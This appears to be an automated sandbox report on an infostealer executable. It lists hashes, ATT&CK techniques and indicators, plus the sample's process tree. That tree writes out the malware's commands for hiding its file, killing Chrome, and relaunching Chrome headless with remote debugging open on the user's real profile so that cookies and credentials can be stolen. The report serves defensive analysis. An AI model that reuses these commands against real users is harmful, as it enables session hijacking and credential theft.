5e0e26fb7dc90f39def0fd79805143a77d69c3b6376432d5a0b7aedb637e0349

Analysis

max time kernel
150s
max time network
138s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
31/08/2026, 04:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
5e0e26fb7dc90f39def0fd79805143a77d69c3b6376432d5a0b7aedb637e0349.exe
Size 11.0MB
Sample260831-ffgjfaeg27
SHA256 5e0e26fb7dc90f39def0fd79805143a77d69c3b6376432d5a0b7aedb637e0349
MD5 6784b71f64f2dac2622c5d488f92f9dc
SHA1 90948fe1eefc69ef1e41607a1f444ec910916030
SHA512 ee858180276f00880723332d0d247e8c238e8a95aa3c18cdf09ad93999de2f381b6b5d768f657374686adbe928526118077ea5730f4497c2423578d231e77812
SSDEEP 98304:mA9yq57hgFC8THbXjyeuL4nXLiEc2Lq//Rfc:mA4SkC8zbzyeuUTDm/pfc
TLSH
T10CC65A57ECA145E9C0AAE1348A679217BEB17C485F3063D32B60F6242F37BD0ADB9750
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

credential_access defense_evasion discovery spyware stealer

Malware Config

Signatures

Uses browser remote debugging 2 TTPs 19 IoCs

Can be used to control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
5532	chrome.exe
296	chrome.exe
4964	chrome.exe
5900	msedge.exe
2220	chrome.exe
4764	chrome.exe
3240	chrome.exe
2360	msedge.exe
5740	chrome.exe
5728	chrome.exe
1160	chrome.exe
2948	chrome.exe
1636	chrome.exe
2264	msedge.exe
1432	msedge.exe
2136	chrome.exe
1436	chrome.exe
3536	msedge.exe
5480	chrome.exe

Executes dropped EXE 10 IoCs

pid	Process
4436	chrom.exe
4616	chrom.exe
1380	chrom.exe
2880	chrom.exe
2016	chrom.exe
4556	chrom.exe
4604	chrom.exe
3776	chrom.exe
6040	chrom.exe
4288	chrom.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Looks up external IP address via web service 1 TTPs 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	api.ipify.org
1	ip-api.com
30	api.ipify.org

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Time Discovery 1 TTPs 7 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4328	chrome.exe
4700	msedge.exe
5068	chrome.exe
4844	chrome.exe
5088	chrome.exe
200	chrome.exe
472	chrome.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Kills process with taskkill 3 IoCs

defense_evasion

pid	Process
5328	taskkill.exe
4656	taskkill.exe
5076	taskkill.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134326253556625965"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5480	chrome.exe
5480	chrome.exe
5480	chrome.exe
5480	chrome.exe
2092	chrome.exe
2092	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 17 IoCs

pid	Process
5480	chrome.exe
5480	chrome.exe
5480	chrome.exe
5480	chrome.exe
5480	chrome.exe
5480	chrome.exe
5480	chrome.exe
5480	chrome.exe
5480	chrome.exe
5480	chrome.exe
5480	chrome.exe
5480	chrome.exe
5480	chrome.exe
5900	msedge.exe
5900	msedge.exe
5900	msedge.exe
5900	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5328	taskkill.exe
Token: SeShutdownPrivilege	5480	chrome.exe
Token: SeCreatePagefilePrivilege	5480	chrome.exe
Token: SeShutdownPrivilege	5480	chrome.exe
Token: SeCreatePagefilePrivilege	5480	chrome.exe
Token: SeShutdownPrivilege	5480	chrome.exe
Token: SeCreatePagefilePrivilege	5480	chrome.exe
Token: SeShutdownPrivilege	5480	chrome.exe
Token: SeCreatePagefilePrivilege	5480	chrome.exe
Token: SeShutdownPrivilege	5480	chrome.exe
Token: SeCreatePagefilePrivilege	5480	chrome.exe
Token: SeShutdownPrivilege	5480	chrome.exe
Token: SeCreatePagefilePrivilege	5480	chrome.exe
Token: SeShutdownPrivilege	5480	chrome.exe
Token: SeCreatePagefilePrivilege	5480	chrome.exe
Token: SeShutdownPrivilege	5480	chrome.exe
Token: SeCreatePagefilePrivilege	5480	chrome.exe
Token: SeShutdownPrivilege	5480	chrome.exe
Token: SeCreatePagefilePrivilege	5480	chrome.exe
Token: SeShutdownPrivilege	5480	chrome.exe
Token: SeCreatePagefilePrivilege	5480	chrome.exe
Token: SeDebugPrivilege	4656	taskkill.exe
Token: SeShutdownPrivilege	5480	chrome.exe
Token: SeCreatePagefilePrivilege	5480	chrome.exe
Token: SeShutdownPrivilege	5480	chrome.exe
Token: SeCreatePagefilePrivilege	5480	chrome.exe
Token: SeDebugPrivilege	5076	taskkill.exe
Token: SeShutdownPrivilege	5480	chrome.exe
Token: SeCreatePagefilePrivilege	5480	chrome.exe
Token: SeShutdownPrivilege	5480	chrome.exe
Token: SeCreatePagefilePrivilege	5480	chrome.exe
Token: SeShutdownPrivilege	5480	chrome.exe
Token: SeCreatePagefilePrivilege	5480	chrome.exe
Token: SeShutdownPrivilege	5480	chrome.exe
Token: SeCreatePagefilePrivilege	5480	chrome.exe
Token: SeShutdownPrivilege	5480	chrome.exe
Token: SeCreatePagefilePrivilege	5480	chrome.exe
Token: SeShutdownPrivilege	5480	chrome.exe
Token: SeCreatePagefilePrivilege	5480	chrome.exe
Token: SeShutdownPrivilege	5480	chrome.exe
Token: SeCreatePagefilePrivilege	5480	chrome.exe
Token: SeShutdownPrivilege	5480	chrome.exe
Token: SeCreatePagefilePrivilege	5480	chrome.exe
Token: SeShutdownPrivilege	5480	chrome.exe
Token: SeCreatePagefilePrivilege	5480	chrome.exe
Token: SeShutdownPrivilege	5480	chrome.exe
Token: SeCreatePagefilePrivilege	5480	chrome.exe
Token: SeShutdownPrivilege	5480	chrome.exe
Token: SeCreatePagefilePrivilege	5480	chrome.exe
Token: SeShutdownPrivilege	5480	chrome.exe
Token: SeCreatePagefilePrivilege	5480	chrome.exe
Token: SeShutdownPrivilege	5480	chrome.exe
Token: SeCreatePagefilePrivilege	5480	chrome.exe
Token: SeShutdownPrivilege	5480	chrome.exe
Token: SeCreatePagefilePrivilege	5480	chrome.exe
Token: SeShutdownPrivilege	5480	chrome.exe
Token: SeCreatePagefilePrivilege	5480	chrome.exe
Token: SeShutdownPrivilege	5480	chrome.exe
Token: SeCreatePagefilePrivilege	5480	chrome.exe
Token: SeShutdownPrivilege	5480	chrome.exe
Token: SeCreatePagefilePrivilege	5480	chrome.exe
Token: SeShutdownPrivilege	5480	chrome.exe
Token: SeCreatePagefilePrivilege	5480	chrome.exe
Token: SeShutdownPrivilege	5480	chrome.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
5480	chrome.exe
5900	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1464 wrote to memory of 6032	1464	5e0e26fb7dc90f39def0fd79805143a77d69c3b6376432d5a0b7aedb637e0349.exe	90
PID 1464 wrote to memory of 5328	1464	5e0e26fb7dc90f39def0fd79805143a77d69c3b6376432d5a0b7aedb637e0349.exe	91
PID 1464 wrote to memory of 5480	1464	5e0e26fb7dc90f39def0fd79805143a77d69c3b6376432d5a0b7aedb637e0349.exe	93
PID 5480 wrote to memory of 1208	5480	chrome.exe	94
PID 5480 wrote to memory of 3744	5480	chrome.exe	95
PID 5480 wrote to memory of 3744	5480	chrome.exe	95
PID 5480 wrote to memory of 4328	5480	chrome.exe	96
PID 5480 wrote to memory of 3408	5480	chrome.exe	97
PID 5480 wrote to memory of 3408	5480	chrome.exe	97
PID 5480 wrote to memory of 5532	5480	chrome.exe	99
PID 5480 wrote to memory of 5532	5480	chrome.exe	99
PID 5480 wrote to memory of 2136	5480	chrome.exe	100
PID 5480 wrote to memory of 2136	5480	chrome.exe	100
PID 5480 wrote to memory of 296	5480	chrome.exe	101
PID 5480 wrote to memory of 296	5480	chrome.exe	101
PID 5480 wrote to memory of 3404	5480	chrome.exe	102
PID 5480 wrote to memory of 3404	5480	chrome.exe	102
PID 5480 wrote to memory of 3388	5480	chrome.exe	104
PID 5480 wrote to memory of 1160	5480	chrome.exe	105
PID 5480 wrote to memory of 1160	5480	chrome.exe	105
PID 5480 wrote to memory of 5728	5480	chrome.exe	106
PID 5480 wrote to memory of 5728	5480	chrome.exe	106
PID 5480 wrote to memory of 4964	5480	chrome.exe	110
PID 5480 wrote to memory of 4680	5480	chrome.exe	109
PID 5480 wrote to memory of 4964	5480	chrome.exe	110
PID 5480 wrote to memory of 2220	5480	chrome.exe	111
PID 5480 wrote to memory of 4680	5480	chrome.exe	109
PID 5480 wrote to memory of 2220	5480	chrome.exe	111
PID 5480 wrote to memory of 4764	5480	chrome.exe	112
PID 5480 wrote to memory of 2948	5480	chrome.exe	113
PID 5480 wrote to memory of 4764	5480	chrome.exe	112
PID 5480 wrote to memory of 2948	5480	chrome.exe	113
PID 5480 wrote to memory of 1436	5480	chrome.exe	114
PID 5480 wrote to memory of 1436	5480	chrome.exe	114
PID 5480 wrote to memory of 1636	5480	chrome.exe	115
PID 5480 wrote to memory of 1636	5480	chrome.exe	115
PID 5480 wrote to memory of 244	5480	chrome.exe	116
PID 5480 wrote to memory of 244	5480	chrome.exe	116
PID 5480 wrote to memory of 4752	5480	chrome.exe	117
PID 5480 wrote to memory of 4752	5480	chrome.exe	117
PID 5480 wrote to memory of 3240	5480	chrome.exe	118
PID 5480 wrote to memory of 5740	5480	chrome.exe	119
PID 5480 wrote to memory of 3240	5480	chrome.exe	118
PID 5480 wrote to memory of 5740	5480	chrome.exe	119
PID 1464 wrote to memory of 4656	1464	5e0e26fb7dc90f39def0fd79805143a77d69c3b6376432d5a0b7aedb637e0349.exe	120
PID 1464 wrote to memory of 5900	1464	5e0e26fb7dc90f39def0fd79805143a77d69c3b6376432d5a0b7aedb637e0349.exe	121
PID 5900 wrote to memory of 3608	5900	msedge.exe	122
PID 5900 wrote to memory of 200	5900	msedge.exe	124
PID 5900 wrote to memory of 4700	5900	msedge.exe	125
PID 5900 wrote to memory of 200	5900	msedge.exe	124
PID 5900 wrote to memory of 200	5900	msedge.exe	124
PID 5900 wrote to memory of 3380	5900	msedge.exe	126
PID 5900 wrote to memory of 3380	5900	msedge.exe	126
PID 5900 wrote to memory of 2360	5900	msedge.exe	127
PID 5900 wrote to memory of 2264	5900	msedge.exe	128
PID 5900 wrote to memory of 2360	5900	msedge.exe	127
PID 5900 wrote to memory of 2360	5900	msedge.exe	127
PID 5900 wrote to memory of 2264	5900	msedge.exe	128
PID 5900 wrote to memory of 2264	5900	msedge.exe	128
PID 5900 wrote to memory of 3536	5900	msedge.exe	130
PID 5900 wrote to memory of 1432	5900	msedge.exe	129
PID 5900 wrote to memory of 3536	5900	msedge.exe	130
PID 5900 wrote to memory of 3536	5900	msedge.exe	130
PID 5900 wrote to memory of 1432	5900	msedge.exe	129

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
6032	attrib.exe

C:\Users\Admin\AppData\Local\Temp\5e0e26fb7dc90f39def0fd79805143a77d69c3b6376432d5a0b7aedb637e0349.exe
"C:\Users\Admin\AppData\Local\Temp\5e0e26fb7dc90f39def0fd79805143a77d69c3b6376432d5a0b7aedb637e0349.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1464
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Local\Temp\5e0e26fb7dc90f39def0fd79805143a77d69c3b6376432d5a0b7aedb637e0349.exe
  2⤵
  - Views/modifies file attributes
  PID:6032
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM chrome.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5328
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --remote-allow-origins=* --headless "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data"
  2⤵
  - Uses browser remote debugging
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:5480
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ff810acc728,0x7ff810acc734,0x7ff810acc740
    3⤵
    PID:1208
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --headless --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1792,i,1288862841271186118,16596183247527629082,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1784 /prefetch:2
    3⤵
    PID:3744
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1792,i,1288862841271186118,16596183247527629082,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2568 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4328
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1792,i,1288862841271186118,16596183247527629082,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2560 /prefetch:13
    3⤵
    PID:3408
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=1792,i,1288862841271186118,16596183247527629082,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3208 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:5532
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=1792,i,1288862841271186118,16596183247527629082,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3260 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:2136
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=1792,i,1288862841271186118,16596183247527629082,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4552 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:296
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1792,i,1288862841271186118,16596183247527629082,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4700 /prefetch:14
    3⤵
    PID:3404
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1792,i,1288862841271186118,16596183247527629082,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5232 /prefetch:14
    3⤵
    PID:3388
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=1792,i,1288862841271186118,16596183247527629082,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5328 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:1160
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=1792,i,1288862841271186118,16596183247527629082,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5452 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:5728
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1792,i,1288862841271186118,16596183247527629082,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5292 /prefetch:14
    3⤵
    PID:4680
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --field-trial-handle=1792,i,1288862841271186118,16596183247527629082,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5348 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:4964
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --field-trial-handle=1792,i,1288862841271186118,16596183247527629082,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5616 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:2220
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --field-trial-handle=1792,i,1288862841271186118,16596183247527629082,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5600 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:4764
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --field-trial-handle=1792,i,1288862841271186118,16596183247527629082,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6112 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:2948
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --field-trial-handle=1792,i,1288862841271186118,16596183247527629082,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5320 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:1436
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --field-trial-handle=1792,i,1288862841271186118,16596183247527629082,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5764 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:1636
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1792,i,1288862841271186118,16596183247527629082,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5392 /prefetch:14
    3⤵
    PID:244
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1792,i,1288862841271186118,16596183247527629082,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5336 /prefetch:14
    3⤵
    PID:4752
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --field-trial-handle=1792,i,1288862841271186118,16596183247527629082,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5940 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:3240
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --field-trial-handle=1792,i,1288862841271186118,16596183247527629082,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4608 /prefetch:9
    3⤵
    - Uses browser remote debugging
    PID:5740
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1792,i,1288862841271186118,16596183247527629082,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3872 /prefetch:11
    3⤵
    - System Time Discovery
    PID:5068
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1792,i,1288862841271186118,16596183247527629082,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2568 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4844
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1792,i,1288862841271186118,16596183247527629082,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5888 /prefetch:11
    3⤵
    - System Time Discovery
    PID:5088
